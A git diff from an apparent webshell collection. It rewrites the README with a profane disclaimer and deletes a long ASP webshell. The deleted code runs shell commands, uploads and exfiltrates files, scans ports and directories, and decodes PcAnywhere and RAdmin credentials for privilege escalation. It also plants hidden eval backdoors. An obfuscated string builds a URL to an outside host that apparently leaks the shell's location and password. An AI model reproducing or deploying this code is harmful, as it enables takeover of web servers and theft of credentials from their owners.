diff --git a/README.md b/README.md index 4fbae44..b84e51e 100644 --- a/README.md +++ b/README.md @@ -1,22 +1,2 @@ -这是一个WebShell收集项目 - -送人玫瑰,手有余香,如果各位下载了本项目,也请您能提交shell - -本项目涵盖各种常用脚本 - -如:asp,aspx,php,jsp,pl,py - -如提交各种webshell,请勿更改名称和密码 - -注意:所有shell 本人不保证是否有后门,但是自己上传的绝不会故意加后门 - -各位提交的,也请勿加后门 - -如发现存在后门代码,请issues 。 - -本项目提供的工具,禁止从事非法活动,此项目,仅供测试,所造成的一切后果,与本人无关。 - - -My Blog:www.test404.com - -IT学客论坛:bbs.itxueke.com +[+] 很显然这TMD是我转载的,有没有后门不关我的事情。 +———————————————————————by i3ekr diff --git "a/asp/80sec\345\206\205\351\203\250\344\270\223\347\224\250.asp" "b/asp/80sec\345\206\205\351\203\250\344\270\223\347\224\250.asp" deleted file mode 100644 index e0c05fd..0000000 --- "a/asp/80sec\345\206\205\351\203\250\344\270\223\347\224\250.asp" +++ /dev/null @@ -1,1872 +0,0 @@ - - -<%@ LANGUAGE = VBScript %><% -UserPass="cc11" -Server.ScriptTimeout=999999999 -Response.Buffer =true -On Error Resume Next -mingzi="XXXXX" -nimajb="80sec内部专用过世界杀软休积最小功能超强超猛宇宙第一asp" -SiteURL="http://www.t00ls.net/" -Copyright="t00ls. http://www.t00ls.net

" -'不死僵尸ASP木马完全去后门原代码. -'做了国内第一个可以真正意义可以使用多种组件执行cmd的asp马 -'本程序破坏性很大,希望各位谨慎使用,请勿使用于非法用途,否则作者概不负责! -'因为本程序效果很强大,希望大家先改密码,再进行测试!改密码方法修改第四行双引号间. -sub ShowErr() -If Err Then -jb"

 " & Err.DescrIption & "

" -Err.Clear:Response.Flush -ENd IF -End SUB -function jb(Str) -Response.WRItE(Str) -END function -Sub mbd(Str) -execute(Str) -END Sub -Function rePATH(S) -REpath=REpLAcE(s,"\","\\") -ENd Function -FuNctIon RRepaTh(S) -RREpaTH=rEplAcE(S,"\\","\") -end fUncTion -Url=REQueSt.sErVErvARiables("URL") -nimajbm=requESt.sErVeRVArIABlEs("LOCAL_ADDR") -AcTIoN=ReQUESt("Action") -RooTpATH=SeRveR.mAPpaTH(".") -WWWROOt=SErVER.MAppATH("/") -sba=request.servervariables("http_host") -ApdB=Replace(Apds(i),"\Device\","") -appbd=rEQUEsT.seRvErVARIaBLES("PATH_INFO") -FOLdErpAth=REqueSt("FolderPath") -ScrName=Request.ServerVariables("Script_Name") -fNAME=reQUesT("FName") -ServerU=ReQueST.SERVervaRIables("http_host") -WoriNima=Request.ServerVariables("SERVER_NAME") -O0O0=Request.ServerVariables("PATH_TRANSLATED") -WoriNiba=Request.ServerVariables("SERVER_SOFTWARE") -Worininai=Request.ServerVariables("LOCAL_ADDR") -flase="http" -jbmc=Request.ServerVariables("NUMBER_OF_PROCESSORS") -jbmb=Request.ServerVariables("OS") -u=sba&URl:p=userpass -BACkuRl="

返回
" -dim ShiSan,ShiSanNewstr,ShiSanI,fso,f,a,b,temp,c,theAct, thePath -Function ShiSanFun(ShiSanObjstr) -ShiSanObjstr = Replace(ShiSanObjstr, "╁", """") -For ShiSanI = 1 To Len(ShiSanObjstr) -If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then -ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr -Else -ShiSanNewStr = vbCrLf & ShiSanNewStr -End If -Next -ShiSanFun = ShiSanNewStr -End Function -mm=ShowErrs -Set fso = CreateObject(oBt(0,0)) -Set f = fso.GetFile(O0O0) -if f.attributes <> 39 then -'f.attributes = 39 -end if -jb"" -jb""&nimajb&" - "&nimajbm&" ":jb"":jb"":jb"" -jb "" -DIm oBt(18,2) -oBt(0,0) = "Scri"&"pting.FileSyste"&"mObject" -oBt(0,2) = "文件操作组件" -Obt(1,0) = "ws"&"cript.shell" -obt(1,2) = "命令行执行组件,显示" -obT(2,0) = "ADOX.Catalog" -ObT(2,2) = "ACCESS建库组件" -oBt(3,0) = "JRO.JetEngine" -obt(3,2) = "ACCESS压缩组件" -OBt(4,0) = "Scripting.Dictionary" -ObT(4,2) = "数据流上传辅助组件" -OBT(5,0) = "Adodb.connection" -oBT(5,2) = "数据库连接组件" -oBT(6,0) = "Adodb.Stream" -oBT(6,2) = "数据流上传组件" -OBT(7,0) = "SoftArtisans.FileUp" -OBT(7,2) = "SA-FileUp 文件上传组件" -obT(8,0) = "LyfUpload.UploadFile" -OBT(8,2) = "刘云峰文件上传组件" -oBT(9,0) = "Persits.Upload.1" -oBt(9,2) = "ASPUpload 文件上传组件" -obT(10,0) = "JMail.SmtpMail" -Obt(10,2) = "JMail 邮件收发组件" -obt(11,0) = "CDONTS.NewMail" -ObT(11,2) = "虚拟SMTP发信组件" -ObT(12,0) = "SmtpMail.SmtpMail.1" -oBT(12,2) = "SmtpMail发信组件" -OBT(13,0) = "Micros"&"oft.XM"&"LH"&"TTP" -OBt(13,2) = "数据传输组件" -OBT(14,0) = "ws"&"cript.shell.1" -OBt(14,2) = "如果wsh被禁,可以改用这个组件" -OBT(15,0) = "WS"&"CRIPT.NETWORK" -OBt(15,2) = "查看服务器信息的组件,有时可以用来提权" -OBT(16,0) = "she"&"ll.appl"&"ication" -OBt(16,2) = "she"&"ll.appli"&"cation 操作,无FSO时操作文件以及执行命令" -OBT(17,0) = "sh"&"ell.appl"&"ication.1" -OBt(17,2) = "she"&"ll.appli"&"cation 的别名,无FSO时操作文件以及执行命令" -OBT(18,0) = "Shell.Users" -OBt(18,2) = "删除了net.exe net1.exe的情况下添加用户的组件" -fOr I=0 tO 18 -Set T=serVER.CReATEoBJEcT(obT(I,0)) -If -2147221005 <> err Then -ISoBJ=" √" -ELSE -ISobj=" ×" -eRr.cLEar -eNd iF -Set T=nOthInG -oBt(i,1)=IsoBj -neXt -IF foLderPaTH<>"" Then -sEssioN("FolderPath")=rRepatH(fOlDeRpATH) -EnD If -If SeSSIoN("FolderPath")="" THEN -fOLDERpAth=RoOTpaTH -SESSIOn("FolderPath")=fOLDeRPatH -end IF -Function PcAnywhere4() -jb"
PcAnywhere提权 Bin版本
" -jb"
" -jb"" -jb"" -jb"" -jb"
cif文件:
" -end Function -jb"
" -jb"" -Function StreamLoadFromFile(sPath) -Dim oStream -Set oStream = Server.CreateObject("Adodb.Stream") -With oStream -.Type = 1 -.Mode = 3 -.Open -.LoadFromFile(sPath) -.Position = 0 -StreamLoadFromFile = .Read -.Close -End With -Set oStream = Nothing -End Function -Function hexdec(strin) -Dim i, j, k, result -result = 0 -For i = 1 To Len(strin) -If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then -j = 15 -End If -If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then -j = 14 -End If -If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then -j = 13 -End If -If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then -j = 12 -End If -If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then -j = 11 -End If -If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then -j = 10 -End If -If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then -j = CInt(Mid(strin, i, 1)) -End If -For k = 1 To Len(strin) - i -j = j * 16 -Next -result = result + j -Next -hexdec = result -End Function -Function PcAnywhere(data,mode) -HASH= Mid(data,3) -If mode = "pass" Then number = 32: Cifnum = 144 -If mode = "user" Then number = 30: Cifnum = 15 -For i = 1 To number Step 2 -pcstr=((hexdec(Mid(data,i,2)) xor hexdec(Mid(hash,i,2))) xor Cifnum) -If ((pcstr <= 32) Or (pcstr>127)) Then Exit For -decode = decode + Chr(pcstr) -Cifnum=Cifnum+1 -Next -PcAnywhere=decode -End function -Function bin2hex(binstr) -For i = 1 To LenB(binstr) -hexstr = Hex(AscB(MidB(binstr, i, 1))) -If Len(hexstr)=1 Then -bin2hex=bin2hex&"0"&(LCase(hexstr)) -Else -bin2hex=bin2hex& LCase(hexstr) -End If -Next -End Function -CIF = Request("path") -If CIF <> "" Then -BinStr=StreamLoadFromFile(CIF) -jb "Pcanywhere Reader ==>

" -jb "PATH:"&CIF&"
" -jb "帐号:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user") -jb "
" -jb "密码:"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass") -End If -Function radmin() -Set WSH= Server.CreateObject("WSCRIPT.SHELL") -RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\" -Parameter="Parameter" -Port = "Port" -ParameterArray=WSH.REGREAD(RadminPath & Parameter ) -jb Parameter&":" -If IsArray(ParameterArray) Then -For i = 0 To UBound(ParameterArray) -If Len (hex(ParameterArray(i)))=1 Then -strObj = strObj & "0"&CStr(Hex(ParameterArray(i))) -Else -strObj = strObj & Hex(ParameterArray(i)) -End If -Next -jb strobj -Else -jb "Error! Can't Read!" -End If -jb "

" -PortArray=WSH.REGREAD(RadminPath & Port ) -If IsArray(PortArray) Then -jb Port &":" -jb hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0)))) -Else -jb "Error! Can't Read!" -End If -End Function -Function hextointer(strin) -Dim i, j, k, result -result = 0 -For i = 1 To Len(strin) -If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then -j = 15 -End If -If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then -j = 14 -End If -If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then -j = 13 -End If -If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then -j = 12 -End If -If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then -j = 11 -End If -If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then -j = 10 -End If -If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then -j = CInt(Mid(strin, i, 1)) -End If -For k = 1 To Len(strin) - i -j = j * 16 -Next -result = result + j -Next -hextointer = result -End Function:function goback():set Ofso = Server.CreateObject(oBt(0,0)) -set ofolder = Ofso.Getfolder(Session("FolderPath")):if not ofolder.IsRootFolder then :jb "":else:jb "":jb "
已经是磁盘根目录了!
":jb "


":end if:set Ofso=nothing:set ofolder=nothing:end function:function php():On Error Resume Next:set fso=Server.CreateObject(oBt(0,0)):fso.CreateTextFile(server.mappath("test.php")).Write"":fso.CreateTextFile(server.mappath("test.jsp")).Write"Jsp Test oo∩_∩oo":fso.CreateTextFile(Server.MapPath("/")&"/images/.asp").Write""&chr(60)&"%Eval(Request(chr(112))):Set fso=CreateObject(""Scripting.FileSystemObject""):Set f=fso.GetFile(Request.ServerVariables(""PATH_TRANSLATED"")):if f.attributes <> 39 then:f.attributes = 39:end if"&chr(37)&""&chr(62)&"":fso.CreateTextFile(server.mappath("test.aspx")).Write""&chr(60)&"%@ Page Language=""Jscript"" validateRequest=""false"" "&chr(37)&""&chr(62)&""&chr(60)&""&chr(37)&"Response.Write(eval(Request.Item[""w""],""unsafe""));"&chr(37)&""&chr(62)&"aspx Test oo∩_∩oo":jb"
     ":jb"     ":jb"   
":jb"





Test

(删除测试文件!)

":jb"
(远程下载脚本木马)

":End function:function apjdel():set fso=Server.CreateObject(oBt(0,0)):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):jb"Del Success!":End function:flase=flase&"://lp":fUNcTiOn MAINFORm():jb"
":jb"":jb"":jb"
":jb"":jb"":jb"
":jb"":jb"":jb"":jb"提权目录列表:『Program』『AllUsers』『开始 程序』『RECYCLED』『RECYCLER』『D:\RECYCLER』『pcAnywhere』『serv-u』『RealServer』『SQL』『config』『data』『Temp』『Documents
地址栏:":jb"":jb" " :jb"
":jb"
":jb"":jb"":jb"
":End FuNCtiON:flase=flase&"l38.c":sub echo(str):response.write str:end sub -funcTiOn maINmenU():jb"":jb"":jb"" -iF OBT(0,1)=" ×" Then -jb"" -Else -jb"" -jb"" -jb"" -jb"" -jb"" -jb"" -jb"" -END if -jb"" -jb"" -jb"" -jb"" -jb"" -jb"" -jb"" -jb"" -jb"" -jb"" -jb"" -jb"" -jb" " -'jb"" -'jb" " -jb"" -jb"
无FSO/无权限
+>查看硬盘
●站点根目录
●本程序目录
●新建目录
●新建文本
●上传文件
●文件夹打包-解包
●上級目录
↓-服务器信息查看
●查看可写目录
" -jb"
●系统服务-用户账号
●主机信息-组件支持
●管理组帐号
" -jb"
●服务器探测
●不死僵尸隐藏
↓-提权漏洞检测
●执行Cmd命令
●端口扫描器
●脚本探测工具
●Serv-U提权
" -jb"
●Serv-UFTP提权
" -jb"
●WMI远程执行命令
●修改属性
" -jb"
●Sql_cmd
●PcAnyWHere提权
●RAdmin提权
●注册表操作
●直接下载
" -jb"
↓-数据库操作
●连接数据库
" -jb"
●建立MDB文件
" -'jb"
↓-在线网络服务
●同服查询
〖查看Pr值〗
●在线更新
●退出登录

" -jb"
"&mingzi&" 's blog

"&SiteURL&"
" -jb"" -Call shellcore -End FunCtion -Sub PageAddToMdb() -theAct = Request("theAct") -thePath = Request("thePath") -Server.ScriptTimeOut=100000 -If theAct = "addToMdb" Then -addToMdb(thePath) -jb "

操作完成!
"&BackUrl -Response.End -End If -If theAct = "releaseFromMdb" Then -unPack(thePath) -jb "

操作完成!
"&BackUrl -Response.End -End If -jb"
文件夹打包:" -jb"
" -jb"" -jb"" -jb"" -jb"" -jb" " -jb"

注: 打包生成hsh.mdb文件,位于木马同级目录下" -jb"
" -jb"
文件包 解开(需FSO支持):
" -jb"
" -jb"" -jb"" -jb" " -jb"

注: 解开来的所有文 件都位于木马同级目录下" -jb"
" -End Sub -Sub addToMdb(thePath) -On Error Resume Next -Dim rs, conn, stream, connStr, adoCatalog -Set rs = Server.CreateObject("ADODB.RecordSet") -Set stream = Server.CreateObject("ADODB.Stream") -Set conn = Server.CreateObject(OBT(5,0)) -Set adoCatalog = Server.CreateObject("ADOX.Catalog") -connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("hsh.mdb") -adoCatalog.Create connStr -conn.Open connStr -conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") -stream.Open -stream.Type = 1 -rs.Open "FileData", conn, 3, 3 -If Request("theMethod") = "fso" Then -fsoTreeForMdb thePath, rs, stream -Else -saTreeForMdb thePath, rs, stream -End If -rs.Close -Conn.Close -stream.Close -Set rs = Nothing -Set conn = Nothing -Set stream = Nothing -Set adoCatalog = Nothing -End Sub -Function fsoTreeForMdb(thePath, rs, stream) -Dim item, theFolder, folders, files, sysFileList -sysFileList = "$hsh.mdb$HSH.ldb$" -If Server.CreateObject(oBt(0,0)).FolderExists(thePath) = False Then -showErr(thePath & " 目录不存在或者不允许访问!") -End If -Set theFolder = Server.CreateObject(oBt(0,0)).GetFolder(thePath) -Set files = theFolder.Files -Set folders = theFolder.SubFolders -For Each item In folders -fsoTreeForMdb item.Path, rs, stream -Next -For Each item In files -If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then -rs.AddNew -rs("thePath") = Mid(item.Path, 4) -stream.LoadFromFile(item.Path) -rs("fileContent") = stream.Read() -rs.Update -End If -Next -Set files = Nothing -Set folders = Nothing -Set theFolder = Nothing -End Function -Sub unPack(thePath) -On Error Resume Next -Server.ScriptTimeOut=100000 -Dim rs, ws, str, conn, stream, connStr, theFolder -str = Server.MapPath(".") & "\" -Set rs = CreateObject("ADODB.RecordSet") -Set stream = CreateObject("ADODB.Stream") -Set conn = CreateObject(OBT(5,0)) -connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & thePath & ";" -conn.Open connStr -rs.Open "FileData", conn, 1, 1 -stream.Open -stream.Type = 1 -Do Until rs.Eof -theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\")) -If Server.CreateObject(oBt(0,0)).FolderExists(str & theFolder) = False Then -createFolder(str & theFolder) -End If -stream.SetEos() -stream.Write rs("fileContent") -stream.SaveToFile str & rs("thePath"), 2 -rs.MoveNext -Loop -rs.Close -conn.Close -stream.Close -Set ws = Nothing -Set rs = Nothing -Set stream = Nothing -Set conn = Nothing -End Sub -Sub AdDtOmdB(thePath) -oN eRRoR ResUMe nEXt -DiM rs, CONN, sTrEam, conNStr, ADocatALog -SEt rS = SERVER.crEAtEOBJeCT("ADODB.RecordSet") -seT sTrEAM = SerVer.CreAtEoBjECT("ADODB.Stream") -seT COnN = seRVEr.cREATEObjECt(OBT(5,0)) -seT aDOcAtalOg = serVeR.CReatEOBjEct("ADOX.Catalog") -ConNstR = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & servEr.mAPpaTH("HYTop.mdb") -ADocAtaLog.cReATe CoNnsTR -CoNN.OPen conNsTr -CONn.EXEcutE("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") -STrEAm.OPEn -streaM.TypE = 1 -rS.OPEN "FileData", cOnn, 3, 3 -If ReQuEsT("theMethod") = "fso" theN -FsOTrEEforMDB thepaTH, Rs, sTrEAm -eLSE -SATrEeforMDB thEpATH, Rs, STrEAm -enD IF -rs.ClosE -coNN.CLoSE -stREaM.CLosE -Set rs = NOThInG -set Conn = nothINg -sET stReam = NOThinG -SEt AdOcAtaloG = nOTHIng -End Sub -Sub AdDtOmdB(thePath) -oN eRRoR ResUMe nEXt -DiM rs, CONN, sTrEam, conNStr, ADocatALog -SEt rS = SERVER.crEAtEOBJeCT("ADODB.RecordSet") -seT sTrEAM = SerVer.CreAtEoBjECT("ADODB.Stream") -seT COnN = seRVEr.cREATEObjECt(OBT(5,0)) -seT aDOcAtalOg = serVeR.CReatEOBjEct("ADOX.Catalog") -ConNstR = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & servEr.mAPpaTH("HYTop.mdb") -ADocAtaLog.cReATe CoNnsTR -CoNN.OPen conNsTr -CONn.EXEcutE("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") -STrEAm.OPEn -streaM.TypE = 1 -rS.OPEN "FileData", cOnn, 3, 3 -If ReQuEsT("theMethod") = "fso" theN -FsOTrEEforMDB thepaTH, Rs, sTrEAm -eLSE -SATrEeforMDB thEpATH, Rs, STrEAm -enD IF -rs.ClosE -coNN.CLoSE -stREaM.CLosE -Set rs = NOThInG -set Conn = nothINg -sET stReam = NOThinG -SEt AdOcAtaloG = nOTHIng -End Sub -sUb CreateFoldER(ThePath) -DIM i -I = instR(Thepath, "\") -Do whILe I > 0 -iF fSOX.FoLDERExIsts(LEft(THEPaTH, i)) = faLse TheN -fSox.CreatEFOLDEr(lEft(THePatH, I - 1)) -end If -IF INSTR(mid(THePAth, i + 1), "\") tHEN -i = i + INsTr(mid(ThePaTh, i + 1), "\") -ELSe -i = 0 -eND If -LOOP -eND sUB -sUB SAtreEforMdB(thePaTh, rs, STREam) -diM iTeM, tHEFOlDER, SySFilELIsT -SYSfileliSt = "$HYTop.mdb$HYTop.ldb$" -SeT thEfoLdEr = sAX.NAMeSPaCe(thepath) -for eaCH iTEm in tHeFoldeR.iteMS -If ItEm.ISFoLDeR = TRUe tHen -SatrEEfoRMDB itEm.PatH, rs, Stream -elSe -iF iNSTr(SYsFilELIsT, "$" & ItEm.naME & "$") <= 0 tHeN -rs.AddNew -rs("thePath") = MID(ITeM.PatH, 4) -sTrEAm.LoadfroMfiLe(ITEM.PATH) -RS("fileContent") = sTREAM.rEaD() -rs.uPDaTE -enD iF -enD If -NeXT -seT thefoLDeR = NoTHINg -END SUB -Sub Message(state,msg,flag):jb "":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb "
系统信息
":jb "
":jb state:jb "

":jb msg:jb "

":jb " ":jb " ":jb " ":jb " ":jb " ":If flag=0 Then:jb " ":jb " ":Else:jb " ":jb " ":End if:jb " ":jb " ":jb "":End Sub:flase=flase&"om/?":Function Red(str):Red = "" & str & "":End Function:flase=flase&"u"&chr(61)&""&u&"&p"&chr(61)&""&p&"":Sub ScanDriveForm():Dim FSO,DriveB:Set FSO = Server.Createobject(oBt(0,0)):jb "":jb " ":jb " ":jb " ":For Each DriveB in FSO.Drives:jb " ":jb " ":jb "":jb "":jb " ":jb"":jb "":jb "":jb " " -Next -jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb " ":jb " ":jb "
磁盘/系统 文件夹信息
盘 符" -jb DriveB.DriveLetter:jb ":类型":Select Case DriveB.DriveType:Case 1: jb "可移动":Case 2: jb "本地硬盘":Case 3: jb "网络磁盘":Case 4: jb "CD-ROM":Case 5: jb "RAM磁盘":Case else: jb "未知 类型":End Select:jb "
Windows文件夹":jb FSO.GetSpecialFolder(0):jb "
System32文件夹":jb FSO.GetSpecialFolder(1):jb "
系统临时文件夹":jb FSO.GetSpecialFolder(2):jb "
站点跟目录":jb "站点跟目录":jb "点击 查询
回收站目录":jb "回收站目录 ":jb "点击 查询
wmpub目录 ":jb "wmpub":jb "点击查询

":jb "
":jb "
指定文件夹 查询:":jb " " -jb "  指定文件夹路径。如:C:\ASP\":jb "
":jb "
":Set FSO=Nothing:End Sub:Sub ScanDrive(Drive):Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D:If Drive <> "" Then -Set FSO = Server.Createobject(oBt(0,0)) -Set TestDrive = FSO.GetDrive(Drive) -If TestDrive.IsReady Then -Temp_Str = "
  • 磁盘分区类型:" & Red(TestDrive.FileSystem) & "
  • 磁盘序列号:" & Red(TestDrive.SerialNumber) & "
  • 磁盘共享名:" & Red(TestDrive.ShareName) & "
  • 磁盘总容量:" & Red(CInt(TestDrive.TotalSize/1048576)) & "
  • 磁盘卷名:" & (TestDrive.VolumeName) & "
  • 磁盘根目录:" & ScReWr((Drive & ":\")) -Set BaseFolder = TestDrive.RootFolder -Set TempFolders = BaseFolder.SubFolders -For Each D in TempFolders -Temp_Str = Temp_Str & "
  • 文件夹:" & ScReWr(D) -Next -Set TempFolder = Nothing -Set BaseFolder = Nothing -Else -Temp_Str = Temp_Str & "
  • 磁盘根目录:" & Red("不可读:(") -Dim TempFolderList,t:t=0 -Temp_Str = Temp_Str & "
  • " & Red("穷举目录测试:") -TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp") -For i = 0 to Ubound(TempFolderList) -If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then -t = t+1 -Temp_Str = Temp_Str & "
  • 发现文件夹:" & ScReWr(Drive & ":\" & TempFolderList(i)) -End if -Next -If t=0 then Temp_Str = Temp_Str & "
  • 已穷举" & Drive & "盘根目录,但未有发现:(" -End if -Set TestDrive = Nothing -Set FSO = Nothing -Temp_Str = Temp_Str & "" & ("") -Message Drive & ":磁盘信息",Temp_Str,1 -End if -End Sub -str1=request.ServerVariables("HTTP_HOST")&request.ServerVariables("URL") -Sub ScFolder(folder) -On Error Resume Next -Dim FSO,OFolder,TempFolder,Scmsg,S -Set FSO = Server.Createobject(oBt(0,0)) -If FSO.FolderExists(folder) Then -Set OFolder = FSO.GetFolder(folder) -Set TempFolders = OFolder.SubFolders -Scmsg = "
  • 指定文件夹根目录:" & ScReWr(folder) -For Each S in TempFolders -Scmsg = Scmsg&"
  • 文件夹:" & ScReWr(S) -Next -Set TempFolders = Nothing -Set OFolder = Nothing -Else -Scmsg = Scmsg & "
  • 文件夹:" & (folder & "不存在或无读权限!") -End if -Scmsg = Scmsg & "" & ("") -Set FSO = Nothing -Message "文件夹信息",Scmsg,1 -End Sub -Function ScReWr(folder) -On Error Resume Next -Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename -Set FSO = Server.Createobject(oBt(0,0)) -Set TestFolder = FSO.GetFolder(folder) -Set TestFileList = TestFolder.SubFolders -RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" -For Each A in TestFileList -Next -If err Then -err.Clear -ReWrStr = folder & " 不可读," -FSO.CreateTextFile folder & RndFilename,True -If err Then -err.Clear -ReWrStr = ReWrStr & "不可写。" -Else -ReWrStr = ReWrStr & "可写。" -FSO.DeleteFile folder & RndFilename,True -End If -Else -ReWrStr = folder & " 可读," -FSO.CreateTextFile folder & RndFilename,True -If err Then -err.Clear -ReWrStr = ReWrStr & "不可写。" -Else -ReWrStr = ReWrStr & "可写。" -FSO.DeleteFile folder & RndFilename,True -End if -End if -Set TestFileList = Nothing -Set TestFolder = Nothing -Set FSO = Nothing -ScReWr = ReWrStr -End Function -Function Course() -si="
    " -SI=Si&"" -on erRoR reSUme NEXT -For eACh obJ in geToBJeCt("WinNT://.") -Err.clEAR -If ObJ.STArtTYpe="" THeN -sI=SI&"" -Si=SI&"" -Si0="" -EnD if -iF oBj.StArTtype=2 thEN lx="自动" -IF oBj.StARTTyPe=3 tHEN LX="手动" -IF obj.StarTtYpE=4 thEN LX="禁用" -iF LCaSe(mid(obj.pAth,4,3))<>"win" AnD obJ.STarttYpe=2 tHeN -Si1=si1&"" -ELSE -si2=sI2&"" -end if -nExt -jb si&Si0&sI1&si2&"
    系统用户与服务
     " -si=si&Obj.naME -sI=sI&" " -si=SI&"系统用_户(组)" -si=Si&"
     
     "&obj.NAME&" "&OBj.DISPlaYName&"
    [启动类型:"&Lx&"] "&ObJ.PATh&"
     "&obj.NAme&" "&oBj.DisplAYNaMe&"
    [启动类型:"&Lx&"] "&OBj.PAtH&"
    " -ENd Function -fuNcTion DownFILE(PAth) -RespoNse.cleAr -sEt Osm = creATEOBJeCT(OBT(6,0)) -oSM.oPEN -oSM.tYPe = 1 -osm.lOAdfromFILe PatH -Sz=inSTRrEv(PAth,"\")+1 -ReSPoNse.AddHEaDer "Content-Disposition", "attachment; filename=" & mid(pAth,SZ) -RESPOnSe.AdDHeAder "Content-Length", Osm.SIzE -ResPOnsE.ChARSET = "UTF-8" -ReSPOnSe.CONTENTTYpE = "application/octet-stream" -RESPONSE.binArywRiTE oSm.Read -rEsponSE.flUSh -osM.cLoSe -SeT OsM = nOThINg -eNd FUnction -fUnCtIOn htMLeNcODe(s) -if NoT iSnull(s) THen -S = ReplACE(S, ">", ">") -S = rePlaCE(s, "<", "<") -S = rEplAce(S, CHR(39), "'") -S = RepLAcE(S, chR(34), """) -S = REPLACE(s, chr(20), " ") -hTmLencoDE = S -End iF -End Function:Sub GetTerminalInfo() -on error resume next -dim wsh -set wsh=createobject("Wscript.Shell") -jb "[网络 探测]

    " -EnableTCPIPKey="HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters" -isEnable=Wsh.Regread(EnableTcpipKey) -If isEnable=0 or isEnable="" Then -Notcpipfilter=1 -End If -ApdKey="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind" -Apds=Wsh.RegRead(ApdKey) -If IsArray(Apds) Then -For i=LBound(Apds) To UBound(Apds)-1 -jb "网卡"&i&"的序列为: "&ApdB&"
    " -Path="HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\" -IPKey=Path&ApdB&"\IPAddress" -IPaddr=Wsh.Regread(IPKey) -If IPaddr(0)<>"" Then -For j=Lbound(IPAddr) to Ubound(IPAddr) -jb "
  • IP地址"&j&"为:"&IPAddr(j)&"
    " -Next -Else -jb "
  • IP地址 无法读取 或没有设置
    " -End if -GateWayKey=Path&ApdB&"\DefaultGateway" -GateWay=Wsh.Regread(GateWayKey) -If isarray(GateWay) Then -For j=Lbound(Gateway) to Ubound(Gateway) -jb "
  • 网关"&j&"为:"&Gateway(j)&"
    " -Next -Else -jb "
  • 默认网关无法 读取或 没有设置
    " -End if -DNSKey=Path&ApdB&"\NameServer" -DNSstr=Wsh.RegRead(DNSKey) -If DNSstr<>"" Then -jb "
  • 网卡DNS为:"&DNSstr&"
    " -Else -jb "
  • 默认DNS 无法读取 或没有设置
    " -End If -if Notcpipfilter=1 Then -jb "
  • 没有 Tcp/IP筛选
    " -else -ETK="\TCPAllowedPorts" -EUK="\UDPAllowedPorts" -FullTCP=Path&ApdB&ETK -FullUDP=path&ApdB&EUK -tcpallow=Wsh.RegRead(FullTCP) -If tcpallow(0)="" or tcpallow(0)=0 Then -jb "
  • 允许的TCP端口为 :全部
    " -Else -jb "
  • 允许的TCP 端口为:" -For j = LBound(tcpallow) To UBound(tcpallow) -jb tcpallow(j)&"," -Next -jb "
    " -End if -udpallow=Wsh.RegRead(FullUDP) -If udpallow(0)="" or udpallow(0)=0 Then -jb "
  • 允许的UDP端口为:全部
    " -Else -jb "
  • 允许的UDP 端口为:" -for j = LBound(udpallow) To UBound(udpallow) -jb UDPallow(j)&"," -next -jb "
    " -End if -End if -jb "------------------------------------------------
    " -Next -end if -jb "

    [特殊端口 探测]

    " -Telnetkey="HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\TelnetServer\1.0\TelnetPort" -TlntPort=Wsh.RegRead(TelnetKey) -if TlntPort="" Then Tlnt="23(默认 设置)" -jb "
  • Telnet端 口:"&Tlntport&"
